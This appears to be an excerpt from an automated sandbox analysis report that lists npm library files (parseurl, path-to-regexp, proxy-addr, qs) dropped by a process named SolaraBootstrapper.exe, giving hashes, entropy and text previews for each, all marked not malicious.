SHA1:	7F8870A8A8D53BDA04D1C61037A348B5AE2F7DE8
SHA-256:	811223D4A19492CCC642384DC84F0AF4AD935557DFE8F63750D7FFD673E40F17
SHA-512:	F50D89B90850793E75919C19024A9F1FD27929628BC9C121D685F73C5472C756C8260F0101269550EE4708D370186472C01BA80A76E9220D1CE763F43725842E
Malicious:	false
Preview:	/!. parseurl. * Copyright(c) 2014 Jonathan Ong. * Copyright(c) 2014-2017 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module dependencies.. * @private. /..var url = require('url').var parse = url.parse.var Url = url.Url../. Module exports.. * @public. /..module.exports = parseurl.module.exports.original = originalurl../. Parse the `req` url with memoization.. . @param {ServerRequest} req. * @return {Object}. * @public. /..function parseurl (req) {. var url = req.url.. if (url === undefined) {. // URL is undefined. return undefined. }.. var parsed = req._parsedUrl.. if (fresh(url, parsed)) {. // Return cached URL parse. return parsed. }.. // Parse the URL. parsed = fastparse(url). parsed._raw = url.. return (req._parsedUrl = parsed).};../. Parse the `req` original url with fallback and memoization.. . @param {ServerRequest} req. * @return {Object}. * @public. */..function originalurl (req) {. var url = req.originalUr

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\parseurl\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1180
Entropy (8bit):	4.874642556018479
Encrypted:	false
SSDEEP:	24:vJ01wbxVWbeeNvfP6iUg1nZM1qW5cn6T+lxnyCy8ei:BUwdVWbe6fSiUg1nq15580+NH
MD5:	5B1493BD775444F0994D0B1063DB1900
SHA1:	646DC756FF16C464FCB63E17B2CD5EE4AD4F8B66
SHA-256:	98C7B953C844CAC7C0BE2D5ABC6559C6FD3A6075FD159B04C0F1BF46145BFED2
SHA-512:	5BE5BA8E172D288FD8F66DD3AFCFAE75D9F48D7FED3648BC34B4901FCC3F6ECCA59AB7D6A73FDA298DBAD33A372D74C083696E9169E6A6485E7BC4B166FAE318
Malicious:	false
Preview:	{. "name": "parseurl",. "description": "parse a url with memoization",. "version": "1.3.3",. "contributors": [. "Douglas Christopher Wilson <doug@somethingdoug.com>",. "Jonathan Ong <me@jongleberry.com> (http://jongleberry.com)". ],. "repository": "pillarjs/parseurl",. "license": "MIT",. "devDependencies": {. "beautify-benchmark": "0.2.4",. "benchmark": "2.1.4",. "eslint": "5.16.0",. "eslint-config-standard": "12.0.0",. "eslint-plugin-import": "2.17.1",. "eslint-plugin-node": "7.0.1",. "eslint-plugin-promise": "4.1.1",. "eslint-plugin-standard": "4.0.0",. "fast-url-parser": "1.1.3",. "istanbul": "0.4.5",. "mocha": "6.1.3". },. "files": [. "LICENSE",. "HISTORY.md",. "README.md",. "index.js". ],. "engines": {. "node": ">= 0.8". },. "scripts": {. "bench": "node benchmark/index.js",. "lint": "eslint .",. "test": "mocha --check-leaks --bail --reporter spec test/",. "test-cov": "istanbul cover node_modules/mocha/

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\path-to-regexp\History.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	694
Entropy (8bit):	4.570240121931512
Encrypted:	false
SSDEEP:	12:4u0C9Xevwydt179PAwo06dByRSB6D9oRLfQTYQ7ZIj:r5exd9ILyRlBVF0
MD5:	9F6AE1A279C6994A01A2EC44294CB607
SHA1:	63EF807649D9D3F6028A1D9A4B23CD3AF750AE2A
SHA-256:	EE1E90F5F384416A9B98E8C7E99965A333980F0990F30220A8FC788063627D68
SHA-512:	E5B8429F93E59F8E4A1A250F9CAF15294CD2D03CC8BD2F1962E6DBDD844EF7EF503E784091F318EB04D9FB3FF30F5F3301E0C9C452457E8458B6C59F071B5695
Malicious:	false
Preview:	0.1.7 / 2015-07-28.==================.. * Fixed regression with escaped round brackets and matching groups...0.1.6 / 2015-06-19.==================.. * Replace `index` feature by outputting all parameters, unnamed and named...0.1.5 / 2015-05-08.==================.. * Add an index property for position in match result...0.1.4 / 2015-03-05.==================.. * Add license information..0.1.3 / 2014-07-06.==================.. * Better array support. * Improved support for trailing slash in non-ending mode..0.1.0 / 2014-03-06.==================.. * add options.end..0.0.2 / 2013-02-10.==================.. * Update to match current express. * add .license property to component.json.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\path-to-regexp\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1103
Entropy (8bit):	5.13317512688003
Encrypted:	false
SSDEEP:	24:bNtrmJHHH0yN3gtsHw1hj9QHOsUv4eOk4/+/m3oqLF5n:bNtaJHlxE35QHOs5exm3ogF5n
MD5:	44088BA57CB871A58ADD36CE51B8DE08
SHA1:	3A7F886B632D2197676A40020D354E84B7860604
SHA-256:	4EEB3271453A891DF609E5A9F4EE79A68307F730C13417A3BFEFFA604AC8CF25
SHA-512:	6D8B9708BFA1F3CFA2B63F90152CB6F26960C2BA54FA11A16C13E1D5A3F85F4121516699025B6B759E051B276509B1D69510B644241434E6F8F81B3DFA5A8E63
Malicious:	false
Preview:	The MIT License (MIT)..Copyright (c) 2014 Blake Embrey (hello@blakeembrey.com)..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\path-to-regexp\Readme.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1102
Entropy (8bit):	4.853431172373399
Encrypted:	false
SSDEEP:	24:daJFnVEbhberZlPA36log8BoSONxNiT7H13TaW7Mou8aTq:SVsbQ1ALcji/H13Tf7Mon6q
MD5:	EC68CDEAF09933D8BF7A962C261AED81
SHA1:	025D50A288FE95542257C776BF43EFCAA4BED4A0
SHA-256:	9E280681BCB5D63E7E2E8A5FAA1FD1ED55573C0726268770F37EC267208FB31A
SHA-512:	D8DA77B871B27B338070E9EE8783F0C0BF557AD8F0161CA8EDBB782D27BB5C20AA73B4484916B5A6BB942D3135548FF0006CB2D56B728B3BE927259B288964AB
Malicious:	false
Preview:	# Path-to-RegExp..Turn an Express-style path string such as `/user/:name` into a regular expression...Note: This is a legacy branch. You should upgrade to `1.x`...## Usage..```javascript.var pathToRegexp = require('path-to-regexp');.```..### pathToRegexp(path, keys, options).. - path A string in the express format, an array of such strings, or a regular expression. - keys An array to be populated with the keys present in the url. Once the function completes, this will be an array of strings.. - options. - options.sensitive Defaults to false, set this to true to make routes case sensitive. - options.strict Defaults to false, set this to true to make the trailing slash matter.. - options.end Defaults to true, set this to false to only match the prefix of the URL...```javascript.var keys = [];.var exp = pathToRegexp('/foo/:bar', keys);.//keys = ['bar'].//exp = /^\/foo\/(?:([^\/]+?))\/?$/i.```..## Live Demo..You can see a live demo of this library in use

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\path-to-regexp\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3328
Entropy (8bit):	4.855981986788102
Encrypted:	false
SSDEEP:	96:YAmNU8fyZqHsEqHiehf5Uh/uU6p6cDA3wLTQ:YAp8fygHRKi8ehSYwLTQ
MD5:	CB184302E8D26369E9C0392FA4C8D0CB
SHA1:	D832B595EDE9EF5017A7C1D817689BA20AA1BB1F
SHA-256:	C6FCA7C07D17E676C51896B785576A118CCFFA934959DDCEE7ED106D3F8D4D01
SHA-512:	536437DD8C35D74748C7FE25D6D5427103CD0FFFA8B6EAAD2D786A9A4943191EBC1763BD4D104455280A5789C764079278D4EF33B1820E51AD8674965662A6C7
Malicious:	false
Preview:	/*. Expose `pathtoRegexp`.. /..module.exports = pathtoRegexp;../. Match matching groups in a regular expression.. /.var MATCHING_GROUP_REGEXP = /\((?!\?)/g;../. Normalize the given path string,. * returning a regular expression.. . An empty array should be passed,. * which will contain the placeholder. * key names. For example "/user/:id" will. * then contain ["id"].. . @param {String\|RegExp\|Array} path. * @param {Array} keys. * @param {Object} options. * @return {RegExp}. * @api private. */..function pathtoRegexp(path, keys, options) {. options = options \|\| {};. keys = keys \|\| [];. var strict = options.strict;. var end = options.end !== false;. var flags = options.sensitive ? '' : 'i';. var extraOffset = 0;. var keysOffset = keys.length;. var i = 0;. var name = 0;. var m;.. if (path instanceof RegExp) {. while (m = MATCHING_GROUP_REGEXP.exec(path.source)) {. keys.push({. name: name++,. optional: false,. offset: m.index.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\path-to-regexp\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	554
Entropy (8bit):	4.609052762628888
Encrypted:	false
SSDEEP:	12:bbADHavG+I1Cf/Ga4JV//GnOj42FsHbADPfCKgBbmPgynADtvo0QWCk:3AHavG+I1Cc/Vc2FqAffIEAt9QWv
MD5:	19E58964462995E183C1CD8147A9B8A1
SHA1:	EBFF0C6723FE9D9817CE3917D350B25E74148B15
SHA-256:	86272F0B3CD4E2F23AFF36F63049A81FF6A10D364B74C6D9FF8CBBAC6F7A6638
SHA-512:	778AFFB450D439C863510C8249A662A64AC1A7362CA047BB84B9D42643C45C2D17BA2E3D1A102E6D851D8F64503B0BA55D0AB6F5A7437440DF7A67F602F5A76A
Malicious:	false
Preview:	{. "name": "path-to-regexp",. "description": "Express style path to RegExp utility",. "version": "0.1.7",. "files": [. "index.js",. "LICENSE". ],. "scripts": {. "test": "istanbul cover _mocha -- -R spec". },. "keywords": [. "express",. "regexp". ],. "component": {. "scripts": {. "path-to-regexp": "index.js". }. },. "license": "MIT",. "repository": {. "type": "git",. "url": "https://github.com/component/path-to-regexp.git". },. "devDependencies": {. "mocha": "^1.17.1",. "istanbul": "^0.2.6". }.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\proxy-addr\HISTORY.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2991
Entropy (8bit):	4.71835894828316
Encrypted:	false
SSDEEP:	48:AD1WhutyHvAy8vJyVCwffUFpw6FwyPWYMK0TNb6uzNgnbN2A:AqhARQVmBHL5pN2A
MD5:	31445AE0EB7987B5487CA79F48114DEF
SHA1:	A943BD96906FF7AD1C64C0C323C538C44BFEBDCE
SHA-256:	9BBB818F8492DDCA7BA1454D43EA2B3E956CCCD1D56AE4AB8B85D9560903B364
SHA-512:	762A8F9216C82D1C8FA7C6FA75010E740AE7AA17DFC88D5ACD23D9F333CA4886293CA1A938937723C10E5647DD503B8D9C65BDBB6B7F72F4FF37B167D315C16E
Malicious:	false
Preview:	2.0.7 / 2021-05-31.==================.. * deps: forwarded@0.2.0. - Use `req.socket` over deprecated `req.connection`..2.0.6 / 2020-02-24.==================.. * deps: ipaddr.js@1.9.1..2.0.5 / 2019-04-16.==================.. * deps: ipaddr.js@1.9.0..2.0.4 / 2018-07-26.==================.. * deps: ipaddr.js@1.8.0..2.0.3 / 2018-02-19.==================.. * deps: ipaddr.js@1.6.0..2.0.2 / 2017-09-24.==================.. * deps: forwarded@~0.1.2. - perf: improve header parsing. - perf: reduce overhead when no `X-Forwarded-For` header..2.0.1 / 2017-09-10.==================.. * deps: forwarded@~0.1.1. - Fix trimming leading / trailing OWS. - perf: hoist regular expression. * deps: ipaddr.js@1.5.2..2.0.0 / 2017-08-08.==================.. * Drop support for Node.js below 0.10..1.1.5 / 2017-07-25.==================.. * Fix array argument being altered. * deps: ipaddr.js@1.4.0..1.1.4 / 2017-03-24.==================.. * deps: ipaddr.js@1.3.0..1.1.3 / 2017-01-14.===========

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\proxy-addr\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1094
Entropy (8bit):	5.1284116326456815
Encrypted:	false
SSDEEP:	24:PiJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:PiJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	6E8686B7B13DD7AC8733645A81842C4A
SHA1:	B058A139CB239C658C8F1F841A475A50818B5F73
SHA-256:	A7996721249A136FBCFC1C201BCB5F414F38A701D4A24F28ABE65E16CFCCE813
SHA-512:	1CACD9111B9EB27A0FD326DD19D61BDF767E443EE1DD09D983AF81199ECDA0D7CF047FBD18B900C7D773972B1278D5D3C19FA753591333C04C27DDAC71AF6422
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2014-2016 Douglas Christopher Wilson..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,.TORT OR OTHERWISE, ARISING

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\proxy-addr\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4131
Entropy (8bit):	5.125035909270746
Encrypted:	false
SSDEEP:	96:6Ccg15WSK7R323Q7mYPSP0zHmf+fKH+6p+ZGeYOYgWxrbYplDGboKRksR:6Cl64+6p+oPJYEasR
MD5:	4BC9AA46F3AFB34D0AB0C82CF244A21B
SHA1:	0AC53E3EF297C7D1BDCADA2A2D00AD68A3696B9B
SHA-256:	409E75C7C493C60AEB91D36D4C0BBDF028B5FFC93FBE5372C1B9DBD711804E05
SHA-512:	4D8BD05213427C77BE7CF9707C69291A71353470150EC4A6349529EF80E68C671A7C2CC38B450F73DE11D031D8E51B56C26CD2CBD95200441DA52649759691CB
Malicious:	false
Preview:	# proxy-addr..[![NPM Version][npm-version-image]][npm-url].[![NPM Downloads][npm-downloads-image]][npm-url].[![Node.js Version][node-image]][node-url].[![Build Status][ci-image]][ci-url].[![Test Coverage][coveralls-image]][coveralls-url]..Determine address of proxied request..## Install..This is a [Node.js](https://nodejs.org/en/) module available through the.[npm registry](https://www.npmjs.com/). Installation is done using the.[`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-locally):..```sh.$ npm install proxy-addr.```..## API..```js.var proxyaddr = require('proxy-addr').```..### proxyaddr(req, trust)..Return the address of the request, using the given `trust` parameter...The `trust` argument is a function that returns `true` if you trust.the address, `false` if you don't. The closest untrusted address is.returned...```js.proxyaddr(req, function (addr) { return addr === '127.0.0.1' }).proxyaddr(req, function (addr, i) { return i < 1 }).```..The

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\proxy-addr\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6000
Entropy (8bit):	4.8574988059761495
Encrypted:	false
SSDEEP:	96:voP1XR7qGGNUNB2iAJsauyKhQANc/EXx+4aRNIov07YNJzti1+CunHQQ/b:voP1XJqxUNUuauyKNNC4uVJn3nH3b
MD5:	0EC33EA2CCB3A107C666A0B311F0E28E
SHA1:	B03A544515E5FF12276828EEB08AD773661513C8
SHA-256:	C586F959F09961EDC6E261D9404455FCE40998A221F71D44833BB4B12796C33C
SHA-512:	4E494C7CC69A0F41FAD896DF84AE90E8A3AA58C7229E35507C281C4D57D238EFA01801AB076E2594B4016FEEEA161F60913709D11C94FEFE3E1C852267BB2413
Malicious:	false
Preview:	/!. proxy-addr. * Copyright(c) 2014-2016 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module exports.. * @public. /..module.exports = proxyaddr.module.exports.all = alladdrs.module.exports.compile = compile../. Module dependencies.. * @private. /..var forwarded = require('forwarded').var ipaddr = require('ipaddr.js')../. Variables.. * @private. /..var DIGIT_REGEXP = /^[0-9]+$/.var isip = ipaddr.isValid.var parseip = ipaddr.parse../. Pre-defined IP ranges.. * @private. /..var IP_RANGES = {. linklocal: ['169.254.0.0/16', 'fe80::/10'],. loopback: ['127.0.0.1/8', '::1/128'],. uniquelocal: ['10.0.0.0/8', '172.16.0.0/12', '192.168.0.0/16', 'fc00::/7'].}../. Get all addresses in the request, optionally stopping. * at the first untrusted.. . @param {Object} request. * @param {Function\|Array\|String} [trust]. * @public. */..function alladdrs (req, trust) {. // get addresses. var addrs = forwarded(req).. if (!trust) {. // Return all addre

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\proxy-addr\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1183
Entropy (8bit):	4.7851179485889626
Encrypted:	false
SSDEEP:	24:lHdWWn1JOXJj0W65QuvgCdqIZCLlWecE6T+lwZKLt:l9W6JmAt5QuoCdqIQUex0+qo5
MD5:	9B004D1140B24F5AE3F21FCDBA8951FC
SHA1:	A04C60D6B2441D6E2A6EBDDCAB75AA6EFC2D1D9C
SHA-256:	E490A79F8058CBB7C0E9FD3B9977013102B5CBD8D232259B93BB2EBF85834A51
SHA-512:	34B9FE96A5251B2A7137FCE47FBF4EC47FB6D7EECF1662BB34862950A95AF007ADA3F07AEBFB29104DD1FF38ED077A6809B76EC912DE2F84EB32E5DD80C75284
Malicious:	false
Preview:	{. "name": "proxy-addr",. "description": "Determine address of proxied request",. "version": "2.0.7",. "author": "Douglas Christopher Wilson <doug@somethingdoug.com>",. "license": "MIT",. "keywords": [. "ip",. "proxy",. "x-forwarded-for". ],. "repository": "jshttp/proxy-addr",. "dependencies": {. "forwarded": "0.2.0",. "ipaddr.js": "1.9.1". },. "devDependencies": {. "benchmark": "2.1.4",. "beautify-benchmark": "0.2.4",. "deep-equal": "1.0.1",. "eslint": "7.26.0",. "eslint-config-standard": "14.1.1",. "eslint-plugin-import": "2.23.4",. "eslint-plugin-markdown": "2.2.0",. "eslint-plugin-node": "11.1.0",. "eslint-plugin-promise": "4.3.1",. "eslint-plugin-standard": "4.1.0",. "mocha": "8.4.0",. "nyc": "15.1.0". },. "files": [. "LICENSE",. "HISTORY.md",. "README.md",. "index.js". ],. "engines": {. "node": ">= 0.10". },. "scripts": {. "bench": "node benchmark/index.js",. "lint": "eslint .",. "test": "

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\qs\.editorconfig

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	569
Entropy (8bit):	4.800574337450001
Encrypted:	false
SSDEEP:	12:UvEsKHqPYdOZwq+TmYJsR54G4mmKlS2LW1JaMHUUQP:UMJH45ZwLTM74hm7l2q6UU4
MD5:	DA08D1EBFD87C9C4F5C059CC79339F74
SHA1:	A9E675FF2B7A222335A84856CD39C75FB7BC6E39
SHA-256:	E88EB6D645D1E89AC4948B93DF420C7798A6A5EA51E4D021246CCACD6B43C639
SHA-512:	4FFE06651022C45B693398E21677B5F993B9598B22C0DAB2D7AF884AAED907A6BC204535462E4063F67F4969466B63849B4E25007F6928E3A7046056468BD760
Malicious:	false
Preview:	root = true..[].indent_style = space.indent_size = 4.end_of_line = lf.charset = utf-8.trim_trailing_whitespace = true.insert_final_newline = true.max_line_length = 160.quote_type = single..[test/].max_line_length = off..[LICENSE.md].indent_size = off..[.md].max_line_length = off..[.json].max_line_length = off..[Makefile].max_line_length = off..[CHANGELOG.md].indent_style = space.indent_size = 2..[LICENSE].indent_size = 2.max_line_length = off..[coverage/*/].indent_size = off.indent_style = off.indent = off.max_line_length = off..[.nycrc].indent_style = tab.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\qs\.eslintrc

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1025
Entropy (8bit):	4.137277213207899
Encrypted:	false
SSDEEP:	24:24syhU0GEGKMu/GH6dFZrmhZonKygFjB6TNi:1syHIJadFJGjcTNi
MD5:	37875CFBE508BCC248856FC88F1F669C
SHA1:	D34602136E9C3D76ADD80EC2BD320C31C33FFEF2
SHA-256:	4563BE7FB02331482AE9B170733772A83F0FB0D18BDC0E3DEB1ADB4E1CC04BF5
SHA-512:	049400D471FD901B7A23C81F4A2DCE4A4175A83800E0B45FD5C1D47C9F476BE1F0404CE15B7039C39563EF6C223D28EB4D51E2A234E1306A9B05901468528E70
Malicious:	false
Preview:	{. "root": true,.. "extends": "@ljharb",.. "ignorePatterns": [. "dist/",. ],.. "rules": {. "complexity": 0,. "consistent-return": 1,. "func-name-matching": 0,. "id-length": [2, { "min": 1, "max": 25, "properties": "never" }],. "indent": [2, 4],. "max-lines-per-function": [2, { "max": 150 }],. "max-params": [2, 16],. "max-statements": [2, 53],. "multiline-comment-style": 0,. "no-continue": 1,. "no-magic-numbers": 0,. "no-restricted-syntax": [2, "BreakStatement", "DebuggerStatement", "ForInStatement", "LabeledStatement", "WithStatement"],. },.. "overrides": [. {. "files": "test/**",. "rules": {. "function-paren-newline": 0,. "max-lines-per-function": 0,. "max-statements": 0,. "no-buffer-constructor": 0,. "no-extend-native": 0,. "no-throw-literal": 0,.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\qs\.github\FUNDING.yml

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	548
Entropy (8bit):	4.608901185947105
Encrypted:	false
SSDEEP:	12:OjjcfQWARgMqJugMJPH0FggMfFlgM01bZBgMoGbQjgMy9gMLzgMT:qoQWAg0g+H0mgcFlg7g1GegJ9gEzgs
MD5:	9103C1348CBED423A71D3E82348B9095
SHA1:	5968075E1CBE9F11D62B700FABA1C9B44291BD7E
SHA-256:	367B5D545D7A66684895EE7EFD987130E83018491A7B2F72F25C0B062157AD90
SHA-512:	B573BD8D14921783570A8674F1CD9BFC8403081605367947A63A8369B206D80A423366B323825DDC36E07938BD3E5F710C4531A45206D331F631AB32BCB6EE59
Malicious:	false
Preview:	# These are supported funding model platforms..github: [ljharb].patreon: # Replace with a single Patreon username.open_collective: # Replace with a single Open Collective username.ko_fi: # Replace with a single Ko-fi username.tidelift: npm/qs.community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry.liberapay: # Replace with a single Liberapay username.issuehunt: # Replace with a single IssueHunt username.otechie: # Replace with a single Otechie username.custom: # Replace with a single custom sponsorship URL.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\qs\.nycrc

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	216
Entropy (8bit):	4.799229660371475
Encrypted:	false
SSDEEP:	6:Kw9OfyFdRaB9yq2TpR6S8U7XfUGUiMIOJy:5O6FTaB9WTpR65U7cAMjJy
MD5:	2C4AA96D1D53687375D35FB7F3F7AE6E
SHA1:	310D7C4DDE09BADCAA10BF85F386ED4B17F17745
SHA-256:	7E1E3A52DF079FC764989D75B3AAF5228228C841978E0C9201D1F394C1FD2655
SHA-512:	C1158D7EE0B3C8668BD2370BF8349B3E1DFABC31548AAA0B16493C525FCFD4079254EC07BFBB4D6FE1ECB7801679A3FC9318428A7953B3C261C87337053D99B6
Malicious:	false
Preview:	{.."all": true,.."check-coverage": false,.."reporter": ["text-summary", "text", "html", "json"],.."lines": 86,.."statements": 85.93,.."functions": 82.43,.."branches": 76.06,.."exclude": [..."coverage",..."dist"..].}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\qs\CHANGELOG.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	29661
Entropy (8bit):	5.199404663647947
Encrypted:	false
SSDEEP:	384:zwkCw7nk3hretjrywBFwcVZwDvRKfb/+7cMsIBt9xvY5P0i:z9yhujewBFP/4vRKzKcfA20i
MD5:	2E2BD05CE068E71A67D68E95FBFABE03
SHA1:	E7FD1D87B00DA8CB88AC75E162A0C01049B242E0
SHA-256:	13D5E628389526DABD365252A088D769E03AFA3919CCDBC0D7627623FD211617
SHA-512:	1B032FB8A0A039A49D5B690F2FEE50C0F5C46C218BE09F704F557A8BFC3CBCCE92556F1BE8BF54BB527C6ECD5AC7BA7E5EA8C0D5584205742310B8FE37FF71A8
Malicious:	false
Preview:	## 6.11.0.- [New] [Fix] `stringify`: revert 0e903c0; add `commaRoundTrip` option (#442).- [readme] fix version badge..## 6.10.5.- [Fix] `stringify`: with `arrayFormat: comma`, properly include an explicit `[]` on a single-item array (#434)..## 6.10.4.- [Fix] `stringify`: with `arrayFormat: comma`, include an explicit `[]` on a single-item array (#441).- [meta] use `npmignore` to autogenerate an npmignore file.- [Dev Deps] update `eslint`, `@ljharb/eslint-config`, `aud`, `has-symbol`, `object-inspect`, `tape`..## 6.10.3.- [Fix] `parse`: ignore `__proto__` keys (#428).- [Robustness] `stringify`: avoid relying on a global `undefined` (#427).- [actions] reuse common workflows.- [Dev Deps] update `eslint`, `@ljharb/eslint-config`, `object-inspect`, `tape`..## 6.10.2**.- [Fix] `stringify`: actually fix cyclic references (#426).- [Fix] `stringify`: avoid encoding arrayformat comma when `encodeValuesOnly = true` (#424).- [readme] remove travis badge; add github actions/codecov

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\qs\LICENSE.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1600
Entropy (8bit):	5.171170892004588
Encrypted:	false
SSDEEP:	48:kOOrXIJHJzszO432sHI32s3Stc13tfyTHv:NOrXIJHJzYF3U3zxFyTP
MD5:	B289135779DD930509AE81E6041690C0
SHA1:	6ECE366FE750ED915FB98CA184588F90061CAA86
SHA-256:	E7DC37BF662D7F786EFCB46C545615E70C1DAF458A38385521C63CF6607CDFE1
SHA-512:	C2CD7135D2564CAD4C47C27EBB46232C4A7B870061B13496BD443904B59EF00DF62ED681918D0B9DB5445D54CAAEB302E91FB24DD50847D75C6F0A48340F838F
Malicious:	false
Preview:	BSD 3-Clause License..Copyright (c) 2014, Nathan LaFreniere and other [contributors](https://github.com/ljharb/qs/graphs/contributors).All rights reserved...Redistribution and use in source and binary forms, with or without.modification, are permitted provided that the following conditions are met:..1. Redistributions of source code must retain the above copyright notice, this. list of conditions and the following disclaimer...2. Redistributions in binary form must reproduce the above copyright notice,. this list of conditions and the following disclaimer in the documentation. and/or other materials provided with the distribution...3. Neither the name of the copyright holder nor the names of its. contributors may be used to endorse or promote products derived from. this software without specific prior written permission...THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS".AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE.IMPLIE

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\qs\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text, with very long lines (463)
Category:	dropped
Size (bytes):	20966
Entropy (8bit):	5.140198331589426
Encrypted:	false
SSDEEP:	384:64CMaR4Yc1ZgJ/zh7KF/GFOkKvCzBO7IcxFEi+KeY4twdiKO8t:8R4OJl7oeKvCzY7L4t+t
MD5:	2E307604EDAF4DDAAF2012EDF8A224AE
SHA1:	600F4801DA103EA9CA7AD90E1BC79FF725826940
SHA-256:	4416E51A890E073B0D3237FEA9C545D2E81B1C6C63BEC26CA75B65C8A6F23750
SHA-512:	371C7320CF2A3393D7E52C7E818939C07DD26F8FD4B94DAD78B99A81AE6CB143D0B7D9F02E189F4761B15A63E0F45260F5ABED9408C7F4B470FF01E65031AF68
Malicious:	false
